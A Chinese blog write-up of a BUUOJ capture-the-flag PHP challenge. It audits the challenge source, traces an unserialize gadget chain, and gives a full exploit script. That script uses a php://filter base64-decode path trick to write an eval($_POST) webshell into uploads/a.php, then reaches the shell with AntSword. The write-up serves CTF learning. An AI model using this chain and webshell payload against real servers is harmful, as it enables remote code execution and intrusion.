zoukankan      html  css  js  c++  java
  • buuoj[2020新春红包题解]

    0x01 解题思路

    根据提示加上src=1参数会显示PHP源码:

    <?php
    error_reporting(0);
    
    class A {
        protected $store;
        protected $key;
        protected $expire;
        public function __construct($store, $key = 'flysystem', $expire = null) {
            $this->key = $key;
            $this->store = $store;
            $this->expire = $expire;
        }
        public function cleanContents(array $contents) {
            $cachedProperties = array_flip([
                'path', 'dirname', 'basename', 'extension', 'filename',
                'size', 'mimetype', 'visibility', 'timestamp', 'type',
            ]);
            foreach ($contents as $path => $object) {
                if (is_array($object)) {
                    $contents[$path] = array_intersect_key($object, $cachedProperties);
                }
            }
            return $contents;
        }
        public function getForStorage() {
            $cleaned = $this->cleanContents($this->cache);
            return json_encode([$cleaned, $this->complete]);
        }
        public function save() {
            $contents = $this->getForStorage();
            $this->store->set($this->key, $contents, $this->expire);
        }
    
        public function __destruct() {
            if (!$this->autosave) {
                $this->save();
            }
        }
    }
    
    class B {
    
        protected function getExpireTime($expire): int {
            return (int) $expire;
        }
    
        public function getCacheKey(string $name): string {
            // 使缓存文件名随机
            $cache_filename = $this->options['prefix'] . uniqid() . $name;
            if(substr($cache_filename, -strlen('.php')) === '.php') {
              die('?');
            }
            return $cache_filename;
        }
    
        protected function serialize($data): string {
            if (is_numeric($data)) {
                return (string) $data;
            }
    
            $serialize = $this->options['serialize'];
    
            return $serialize($data);
        }
    
        public function set($name, $value, $expire = null): bool{
            $this->writeTimes++;
    
            if (is_null($expire)) {
                $expire = $this->options['expire'];
            }
    
            $expire = $this->getExpireTime($expire);
            $filename = $this->getCacheKey($name);
    
            $dir = dirname($filename);
    
            if (!is_dir($dir)) {
                try {
                    mkdir($dir, 0755, true);
                } catch (Exception $e) {
                    // 创建失败
                }
            }
            $data = $this->serialize($value);
            if ($this->options['data_compress'] && function_exists('gzcompress')) {
                //数据压缩
                $data = gzcompress($data, 3);
            }
            $data = "<?php
    //" . sprintf('%012d', $expire) . "
     exit();?>
    " . $data;
            $result = file_put_contents($filename, $data);
            if ($result) {
                return $filename;
            }
            return null;
        }
    }
    if (isset($_GET['src']))
    {
        highlight_file(__FILE__);
    }
    $dir = "uploads/";
    if (!is_dir($dir))
    {
        mkdir($dir);
    }
    unserialize($_GET["data"]);
    

    很明显是一道构造反序列化来得到flag的题。

    源码中一共有两个类,这里想利用反序列化只能考虑借助wakeup、destruct方法,正好A中有一个destruct,那就从A入手进行审计。

     public function __destruct() {
            if (!$this->autosave) {
                $this->save();
            }
     }
    

    如果autosave为false,save方法会被触发,save方法可能触发反序列化。因此A类中autosave必须为假。接下来看save方法如何触发反序列化。

    public function cleanContents(array $contents) {
            $cachedProperties = array_flip([
                'path', 'dirname', 'basename', 'extension', 'filename',
                'size', 'mimetype', 'visibility', 'timestamp', 'type',
            ]);
            foreach ($contents as $path => $object) {
                if (is_array($object)) {
                    $contents[$path] = array_intersect_key($object, $cachedProperties);
                }
            }
            return $contents;
        }
        public function getForStorage() {
            $cleaned = $this->cleanContents($this->cache);
            return json_encode([$cleaned, $this->complete]);
        }
        public function save() {
            $contents = $this->getForStorage();
            $this->store->set($this->key, $contents, $this->expire);
        }
    

    save中调用了getForStorage方法,该方法返回json数据。getForStorage方法调用了cleanContents方法,该方法用于求所给contents中与path、dirname、basename所在数组的交集。也就是说contents中只能包含path、dirname等key值。

    小结一下就是save方法用来将传递的contents经过筛选之后得到一段json值,并将该值交给了store属性的set方法处理。

    那么,contents是否可以被用户控制,set方法能否执行命令或读写文件呢?

    重新阅读上述代码,contents变量值来自于处理后的cache变量,cache变量是A的一个属性,因此它是可控的。对于set方法,A中并没有set方法,B中有,因此store一定是个B的对象。

    public function set($name, $value, $expire = null): bool{
            $this->writeTimes++;
            if (is_null($expire)) {
                $expire = $this->options['expire'];
            }
    
            $expire = $this->getExpireTime($expire);
            $filename = $this->getCacheKey($name);
    
            $dir = dirname($filename);
    
            if (!is_dir($dir)) {
                try {
                    mkdir($dir, 0755, true);
                } catch (Exception $e) {
                    // 创建失败
                }
            }
            $data = $this->serialize($value);
            if ($this->options['data_compress'] && function_exists('gzcompress')) {
                //数据压缩
                $data = gzcompress($data, 3);
            }
            $data = "<?php
    //" . sprintf('%012d', $expire) . "
     exit();?>
    " . $data;
            $result = file_put_contents($filename, $data);
            if ($result) {
                return $filename;
            }
            return null;
        }
    public function getCacheKey(string $name): string {
            // 使缓存文件名随机
            $cache_filename = $this->options['prefix'] . uniqid() . $name;
            if(substr($cache_filename, -strlen('.php')) === '.php') {
              die('?');
            }
            return $cache_filename;
        }
    

    阅读以上代码,可以看到file_put_contents函数,这里被触发就有可能写入webshell。该函数用到的函数名会被getCacheKey处理一下,文件名来源于A中的key属性。该函数中被写入的值来源于data变量,data变量由A中的contents经过serialize处理得到,serialize是一个可控变量,可以自己选定函数名。serialize处理后可以进行压缩,但是这里显然是不能让他压缩,直接把options['data_compress']定义为false即可。

    小结一下,A中传递过来contents和key参数给B的set方法做处理,如果能选定适当的serialize函数,构造合适的contents以及合适的文件名,那么就可以写入webshell,获取flag。

    0x02 参数构造

    <?php 
    class A {
        protected $store;
        #key作文文件名
      	protected $key;
        protected $expire;
        public function __construct()
        {
            $this->store = new B();
          	#/../用于绕过uniqid生成的随机值,后面的/.用来绕过文件名限制
            $this->key = '/../c.php/.';
          	#随意的数值,这里似乎没啥用
            $this->expire = 111;
        }
    }
    $a = new A();
    #动态生成成员
    #用于触发save方法
    $a->autosave=false;
    #处理之后得到contents,path是一个base64值
    #<?php eval($_POST[a]);?>
    $a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
    #这个并没有什么用,只是用来添加到json中,随便设
    $a->complete = '2';
    ?>
    
    class B{
        public $options;
        public function __construct()
        {
          	#禁止压缩
            $this->options['data_compress'] = false;
          	#随意的数值
            $this->options['expire'] = 111;
          	#serialize的方法
            $this->options['serialize'] = 'strval';
          	#用来确定写入文件的地址
            $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
        }
    }
    

    0x03 完整的exp

    <?php 
    class B{
        public $options;
        public function __construct()
        {
            $this->options['data_compress'] = false;
            $this->options['expire'] = 111;
            $this->options['serialize'] = 'strval';
            $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
        }
    }
    class A {
        protected $store;
        protected $key;
        protected $expire;
        public function __construct()
        {
            $this->store = new B();
            $this->key = '/../a.php/.';
            $this->expire = 111;
        }
    }
    $a = new A();
    $a->autosave=false;
    $a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
    $a->complete = '2';
    echo urlencode(serialize($a));
    ?>
    

    将data传给题目页面后在用蚁剑访问/uploads/a.php即可拿到shell,并得到flag。

    0x04 总结

    这个题考查了审计能力和构造payload的能力,还是有点难度的,审计花了我不少时间。最后我想好了怎么构造payload后卡在了一个点上,就是A类没有的成员怎么处理。后来才知道,PHP支持动态生成成员,PHP实在是太灵活了,但我觉得灵活与安全不好兼得。

  • 相关阅读:
    iOS:转载:UIControl的使用
    iOS:UIPickerView选择器的使用
    iOS:NSDate的主要几种时间形式
    iOS:步进UIStepper、滑动块UISlider、开关UISwitch的基本使用
    SAP 中 Webservice的发布和调用过程。
    SAP 播放语言 转载自http://www.cnblogs.com/sapSB/p/6043129.html
    根据剪贴板获取剪贴板的信息
    工单组件更改BAPI
    交货单实际发货日期修改
    水一贴
  • 原文地址:https://www.cnblogs.com/kevinbruce656/p/12713474.html
Copyright © 2011-2022 走看看